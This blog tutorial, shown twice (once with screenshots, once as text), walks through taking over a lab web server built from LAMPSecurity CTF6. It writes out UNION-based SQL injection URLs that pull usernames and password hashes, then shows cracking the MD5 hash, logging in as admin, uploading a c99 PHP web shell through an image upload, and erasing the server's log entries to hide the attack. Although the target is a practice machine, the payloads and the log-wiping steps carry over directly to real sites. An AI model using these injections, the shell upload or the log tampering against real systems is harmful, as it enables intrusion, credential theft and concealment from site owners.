Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sEzvh0pe-jTqOamN4favk1wpigAWkpVWU3RdbD6q25CNlzlwx6CaS6T6dlWQjkmcd9PcBSq-h66Noi64Yn4g8H_OcPQIDxq57IoEqXwkDQAOnsxv7LWyEnq0L9szcfIcAN41ny9u4Kl5uzd08xHuXxCtHu6ManP9VxD_OUUakBqW4A=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tr3hU-MB7hZlg8dpEB0dTCpLjGuWMRHjgM1W9_tBe0jzTAOnW_54jgywt2TpeL3PUMM2eQLCcc8hqjLnCtPjdz-agBLihfT0BOv8Ljtbu-IuEV1W2DN2aA_h18S_pgvZMen9OF6Hu1w-zFjP-ixCjfHruMV83_KUqe6H018iNMjtpOeA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uADkuB49L8qgRQRy3TtFvqret4ATOhWXQpSrrTvLQnWwautIl3sBpqsEmcFooU5tN3TbAJWz3LdEwdo_Oy8tMJQxs0qqBlWktFU-ojuUxtARAybUxyb8I-QcPSg2JbAb1fd3o5CH52qzgRlMpYSQ9soGmr2uPK93PCBW8O9ITQ5zfavA=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t3CzS7pISr18qmFW6HH5opjVdgTNtnvO-stXGB1VJv9EzjMe0-7Q6W2dbrEsNvEovmAN3V2snuHQxT4inGlOCCxl7mxMChIWlC8Jbb7RV0MLrGildXKU-61JXGzRjxm3R67Rt2z552S6s-pgmjSzHkbJdQXtxpUjI1WREjQBjoX-ndGQ=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ucy3LHtg0nYPnPqhHhMVtJwxlQn_Rzsnv-eZ1jFp6abnGs84rHvTBbHJ_9mKdQtDRh7xSNjbCF_Fuuc4UYbF1yjnvnFtohtr95EpAKrSPEAfurMufC9gUli4bFLYY38SEDkooIRdGErLpoFTpTrlLaoy1Agj6DEAkPFBkmtFumYwUncA=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uXFgdq1l9ptmhPhlrIW3RYERGGlz2USIb9qk4Oor_rr5HW8S_3yjTDF24gRSNNh_3CfQCTqXhRo_wG75BKIfu4IDUvYpbOnkHwvo2g8TQ91n3EMrpTccO6OLfug54ZRzEDVIGpYReMqwBotQiSJ98nTj8ayKD5hAdQOFkVp5X7D6Vg=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tB4RZuz1MxF7frsKhku0l--M_3KQm7ws9wwKHtoTui9NQMAskLLsJ14eto1K8RMpot4KjkIMqK__4CdYWcVxEOZl5SaBFR-Xa7g0PvbP1N83T-Y_RCT4FbDRgHJNUpwkNkcnD8ACz5UQGOCBHDr3kZHdEGPY9WXgx6F3WMkflkXwIrzbU=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vC9bzcvm11YU68lgOVILbXsJorLJF5PG7fyEgWmpRmfBaLVkpPuIMnysohnjiIzJZZ5PbGtEJpyfIP4Q5hO_O5c8-FGKUXnkXM_BzYPtB9Q30F3xQk9J-mWPMgf2AfsuEgE2HxG1Qv0p-xUe2gecGLpoxSVG_Q-B7Sm_-cLpIUCKBZyKI=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sHexGKDPULZ4KHS71gjtN3KNVj9JLPnxIQNldOzJyL_irKdR6_VYD-hefTlT_QM-kszZaoyATv27zaUKylKa8FIUlMH6ooY3Vy9rhRn5ZsAczQ4otXMsJUAgmW86qnYdHwgy02QtBfyNFtlh3VtWkBi8V3uwBM8gthsQ3kQsbYT-sUU8k=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tzJRq6WDLprKCtzIvlxoLvTpSmpHyiAvbC7urWPeiE_--fGq4dhmIikNULAHd9Z_q15AeE-Jw0YC6ne_mFq7IWNexFSgmqwi_5dSTEWtwiD8t5wpp5APQitk8ROlIZgZEJb9yt6MIr3tlpmxiWtiX03LtpTUqtJBSCAbUXT1zIFRzi9AU=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tfFxGIKUQzSiZJM5vc8KRkc_euvqbt5-lYyvrhbz1xvnSFW80aUBusUAfYGaep4LKt095QmMxA3XINMTSLDYGK7PzC4e3L3h-hpU1st14FcULPdyzl36qWAb5yc7LeCjVLWNw97irzqXqvaSIrnKImTssur2JjL5D-rKX9bUeYQGHZsg=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vZl8wApzQ6QUXyH3WvfGL4mjxzqUjvyb8GDe9ZUzhbWxJ024fkAP3WzfTkcASmAC4oN6jPlCD7AbqDzykon1hv7jez3p8XETw2G5y5hmK_t2I_zhF6ba6dY2dUyQ0Dh8izuJM1lMAbN1rSRxZd6r55M2sXnUktAaBGPrJop1GsPJ0U7jg=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vMzYQ-0rweS-uVQCuZNVAMKvlvilbBpPFxs5vMJ7u_bCqMn85z3hhvqFTrSuUW1KPo0ErVtdQMMGdi08OYcdQbd53P8CpGWe29yYdrr1Gekz6bJz-FFW_mnwZhPgb60Endqrge3Dlm0YGC1JcHhATnbkLZLo7I9T0PR_pA9y2aSqilTNY=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uyJbz6DRtkZbAVastnHkXsWy5ovvzx47EHQu4OZC8ECKdyA_d9950_-XzXx8Xy3Ro0UewaP-4EMjmdqdx6dcVXrHD5YnHD9MyErI5AIndaxrgmLX1J0Zz4nHefxPXWn3sbzenbvTE0bRmHFP4npuiHzg6CR0nSNufbQzYPFMw7ui3p5w=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sbEF5cQReigdOCu38cOM0Ckyl-fjvSE93TEDIaASHEJdCxDSdkUUsjhUN3GSSgBgyqzWQ5YOiN1AcvSoFSvgecUsxq6UcDxMf2Lwaw3Wytn7jokuQi-2p7fxaO6APVW9SAQKfLctdsqnTPVfSIMU-DhoJVSCzb8pT4bnIri1A5oXfQ1A=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tk-AmkntJNVq-kPUubiZEjgY09ix8eVqSHHQdzpCygIRdspCQVSumcxQeap9Nr3OIE03A4-4569yfDj7jP_h9F5J30aJ2B5nu4ZQ7sUWItfzLNDuKlqgJghRLdz_p1l-_kbN8vg2JVLqb9SzJStC0oF_aR-EC68CNkY-yrfGciPTn_vps=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sgAp8Tcg344kKMhSSerf7kSBlbC-rNRj1pTQwAOxKpTdBxVh5B4Mg1wLpm8rUdfSiEkSQ244Or3JaTUJ_5Js3Lxy4fHPPKpSKz10_HMiuwaUg-jbbexzKuH8R_MOU03_A7uScLwVJ7dctYtjUbbpLTRuAePxKaQr6Q9z1q7sVU8lEqD90=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uojJjCnzC00nc7yhO1fCiIoDFya9B1xMAvdtKAQ_GMf3y7dLPXBXDOsyC2J2la1G1RU1fgL5ZN_qJ0mUWcLw3hLj7Ic-bAC_vdO7isufPTjy-HDeFZ7U5Bf6lMhcg1MbGHnV53tNqEEFCT1RYv6zyeKkwyRanWRXfT5_lWQ89pZmYro-E=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v7FtAM8fy30cCThok3tZrCyjMzYtj6K1pl_9PKpEwuBhzMuezdvwp8FX5QvSatp-0kAwMATfuEgeusQs0UXc6PUI4OLFgZT18TwhJDilEM19one73fzh40S3ryX1I37aK30XypQhq6rPXRLkJrZMGYzIhiUqU8v9DzO3poSkNyC_iUChU=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_taJB573C1XtlX7z0dLJRSUR5sWIwcCKwC7qmZF4pD54ScRMx-wNpW_TS_d8dXo-TzidsXoKyaJS9dtINnw3U4kdRDs6LR0EJnUVfUadpk9gcmEhdKHbqTG1zN5yLCWxtLW07SwLey5RqMdiZAGNVjcKhxuVb1ACt6jsvA8belybcUUujk=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vK2NciWRgHFe2dsCCbFBJwpds0R9dIlz0AvMrgEnYEYEAHeRtgsSwZTozWIsXMyBzC01mZWXJiFYblKrVDGeq5LWKm-BE_Tq8ZWNP3DtxSPXzNTt1kmlqGptsXS9aasJF0Nke_WlcwVlhZI8qIv14B-03fUHvdubYamwDKCFCDXKaF-tY=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s48kaCr_q1H-h5sZp35KTTdJXIpW5N-jEPmSaSi3yAfXmSrzphRhtmjYecjKRrbKmYkKJL9i3SpR5L4PHbDD4coc_7UUtEtmxhLu6T7o7C6g3TVTRJ83kYzvkuoFjF5LS-4mns937KtKCR_Ce3zc0eFryhkRovDaDhBIxij4emGz9AYXo=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sMQIjESVhxAH_9iHl6nGgCefeijJS73J2tzVikln_WYgpYhX55eLSTfXnbJjGZj7f1sY7-19vbipr5fT7ALxj92Ap04RYJ5jSCIbH_sw_MaBEWYW_m998PvyPtUcxUEoDEEeo5w0dNFyGOtWlbwkiilWyiXlJ8SXhY1uiOICtCp0M2vF4=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t-qLrIwQtgWLNat_lG0wTM8Pn6YM20IjNnzGm6kQb3FBW_TDoYcZnlY8LpzhaAFVY0tSCrLVgsNmuKXc4LISyQdTOjQLqIsq97T7LJO4zUFt8MzvW4yySKSMaOaNJ6AcZDrRlLQKMGpM3ngOty-44muhs7AWJ0N5fSgHyuRMeEu-0vpoE=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uuF1pbdJFQmjquU2ihIgZb0uyiNlbPGFNV9jfnLLSUWjxZ5bK2Wd8hvIEQBrlTfXojcqFD_hWx9dIhKjncqC457I-0o-RuOoxda1A8waTkoCTtjVpEg-mhfQzNit9DaPY-m_lk1lrlhPnhJWcd2kybNOoQoMmspfBNOTuaIWaKtfDFDg=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uZFzyHRa53ad3ZHjb24oSy5pyazHMRnjPnrWahX-EQtz3pcGud_HO9AsJ1ckLt3Nw97hdruQVSuxSwNltg5sb5N8R_UpvYjvO0ohOKeloQ88L4oO4qIwEBlXwp2EOHvsWKYmfiNhiG3q4xkkhytAFn7JJAeLU_CPE6ZQbwzXj-DsaL3g=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vBa-HkXeM_s36BTjgH7rbRnRXOCmp6TteQFlb6t2-_KqEbRNNhOrN4nkcc3Q4IbqAqCuaYhDRersLctMgUixZA9KsF1xmEjfmW7cKZc_LF36S1QoZegjW6sxCIWxR4VC81Rp1sJHEOKd7zbEPyMgIEPKTPHEhCvcFJm-tIOAz4eb1Rlgk=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_un7VyB7pNASyQQ0jBnaWRM4Xq8pDHOiXHGfpGrmw-ADGh3P_gcGeBFmSL0RSPJRxEpQRftHsVqdiFtfnamRtI2WM8cMXlns0_FMp_psL-2WRGFA5fJ_b9Wiqvn8hG5xD1vmw-ZOsD8h4NvKoo-BYf4G9-U6M_fBy1S6FCqLW1CB4TeZ4Q=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vHI8cAyKxdWk8P9UaSGWQLZlVZxxEC1z3PUPXY6dT21SuB02fv023Hye2xXzRLYfIJuLHZ-WaRjWPzw9PaXMPNhwDrlsqlMEV-VsBCfDNbCksCU_OwUY3_klVN4n74Gzg5cKFGNcRYkQ-aaiY2V3OKW8sdjibbS9SHOtx5v_z5RNoVSA=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sp9tONFzNp_gYt1aHhIgFk80IkuxgL3bw7fYwE-IchvKLoCK2kqELP7Y0wg7NvyAJnU5kFDLI3OaTX_aKTTwxc_LXv10Xji2oWL5HAOgUsw1BZWvwowkFRE2QUuMv0dPyvE49h8LT3vM6lj7824NyPmedw9isKH-GxUW7WyvJ6eJlRpQM=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_syj2KNiO2Tt6FYRXb3aYE8-_Lvzs_UtuFb0zftmkVlZJsxg5v1-Hfbk94pTzwUZC-I0J9RmR3ZkkgLf4UM7ECcyDAwdXFGuv6IeqxNUccUtJ_rfAKTasfJ4-qEyENk5lRaYT6bzN1mnZyyUtlom7VLIdY-CO6MyDwtVMdaJXvwhu4gEtk=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uI99RWFf_4ll2Fun1sbcbGyK_9CxZ9KPPL7LqRYeU-QcBtzCcom4tOXPQ46TM2LcUKq8lvvSyA6DOHVLxMM57AdZ4qfiSLqVe7sjoZCv-IBh8QFywBv7AeCeugAKGqdKml-fjaiGiVf3ihdD0DvBjHeihLM30UdEu95ZCgBi0bBt5WYus=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tR489R9bgl-WFWaNmxcubQ6Lg-zwDtNVSaTAnepByvHTzBDbTgBhfFbFilZbghOByngWyq47syID9aTEAoBZrfbUdq2jHxgmC374m4LGo5dSQ84esU-23hXCeO4jdjsHLWgXLuDCm9XtBCiSxd9wTjWqvrxx5AHiAXlwp1h6_AmVFseB4=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRfPT3FsT4xgWX8cxA1mAnfBqN1qCsvJlPTD_yOLorb-u6-leGZVXl46Gphvv92WhgTwmcEZ_cBR4CbLAyUjymWHLreQrM1aq23RcXD48EAKiJF_WWm_6K7nAwMauaxijvnjIbX4MPg-yj3y6h0OlI7iZje8c59BxQSgH4dNeuuxILthY=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sF0YKE_WmV8L6DqMWHKph-ZVloyNeXfl9Bqn82vm0t-3LXlvUQBNYH-ErRZOj0COBtKH5O51U3Xv8HCrACV53_GR0_3zjRlZRj5xd7eRZu4AYMfesrBlPhnksuYWRf6MXn-Xua77yMPcChYI5_JQAYOpUROdrf63PqtqStv5jcEIAXda8=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uJH_v4-nQXDG-_f7wO6cxetmdPtjCSP_DPo9hEpSngpS6gU6_jun0u4yFziQ-byAaEpg_RZUyDAa2_toGnMY7VozACi3xQXOCuXx4q5EYZn6Mbh9_mTJD85iMkrBC1Epn9XVxHleWPX5n3w6ceRynK7cspNdRwJaTQATLFh0Uhhd60kl0=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vUaCJVuNCjrRtIrQmzlw14bi2xccjE8G-NS0CZwCiexj2t-20OR5yk8ASkFEluAfLiCmdFgI4Xsg-MQLT0JX3POYOI23zi8cebv9PrMe6ra2F8Fow6ggoc1kdcX14aUziqhwkTQwtF_LHKVGna11k0NSwh8YDwapiU2UUkVaGcmVQxEA=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vsmuUD-WgieQ62OkR5YGNA0bkpYaSsAhh5APrsV7PHqWz1A1v6cTHHQeYEt2Ra5APLpS6r5hCg4sHfwvdDAL8dqPpEkAnVnrdJHrr8lBmmgoL3UVT9qdCDKcwc7oqYciD9g3B6oB-dUOM5lZDW2qZMeVyvUCR2k4elcSVaaC09qdHd8Tg=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_urtj3UFbYePxjzztqCcsdyc8ahlZJzNbd3ctTAjXHZEVHmQvNCtrQ4VYnVvVXEV8NmTDF01l1HHztDfRxSk3CnKdPCRLGs9zNiQ1XeAvUptz_TFrmOLxPao_B2KiGb9ntsEGU2MRinnnL7_dHVrmGTRek-ARo4YekYQlnZ4gETSv2vAg=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uW27URXjkumYcALtzxwbXDf50Du7NhqpgTBPMX58bABwHNp81ALuVKGPL5q2DRhT_qpf0ScAZEJ4qnTdqIqh00NRFXJZEmyJwPK7Icc_SViR30H6sopM0nucxOTCmxGmfCVwV7i1cWcPv0CtVT1gAe4ORBqwca_dMXS-Q5SA16fA6NGpw=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sZJ9bXJt1_HJC9juGfbJJicGkHvJmfqg9JU4xM2_MjGa9hlNIe-YIRm6Om6jpJwqpdR44XoW-8U5yJcvSmCDj318piCtpMEHxCpMdKLiP4tUbfiytRu_Iq_5w31s6Ksj99LaBOkDFFgKxeYPULEoYvx-wBwQQB-0h21IT9S_PKvdHs4zI=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sn6YlAYu9SucUS-pmHr0F8ShYKCZYGTScazCjZPPvWPJ7sWBuHIc9eyscnDnH9h7rshzAmyIfoTqR7tMUh6qbP32xiYQbN_V3sVqSPz6lE1FWeWuFHr3ZoV6iTyLW3CZbgVfn5hzcu8SzDo3YpkKWE5FdERcBiKPKRZzdMftZORj9WTdk=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s0jkyY20VJgGEw87wDZO143VuWrdhZP7JVz3hYgGtFFTAwHdNys6uS-xWwyfkiSO6eQAkJ4OLdjuK1BkdcGtTw_tNYkFk1rhtlV6rm-12Uk0g4-xUYyClSY2RGy9K-MZRhBLw1plgiAUvCmFkwa6RbQ1dUyuOHudQf4Eh1w9byJEw7b_M=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vPqelXUG722zy0G6JZr_O22biJ4VSaGD9HKO3AF3Dgna3SNPnKP7TBkTHVIB_5NqfuOo41PwIbspx7yg8Ab-XOPiz6pW9AuXO10xSLl9L1de9fPYUwWJNFEUU3nEtkXfSe4R7PzznRaU8HJOU1kS9Orl-Ma-n5gmWBHFdD_KDQ1Uanjw=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v9HWSfw0VenUVIWNO-oNUjwn9v_Jvb-PLqgUb6QeBu9pQ2ggZeQqoqw-suh5YrHWBsOYkF2rE4uoGPKFbCNvFpIBWov9B-pRZKUJ7dS2cyGUKzmO2NYPN7C4-3vi0cpKPWznSeDZ3ZC83LslUN_1N-moucSSr5l-6Dk4JDPnuwZ3tz0RI=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete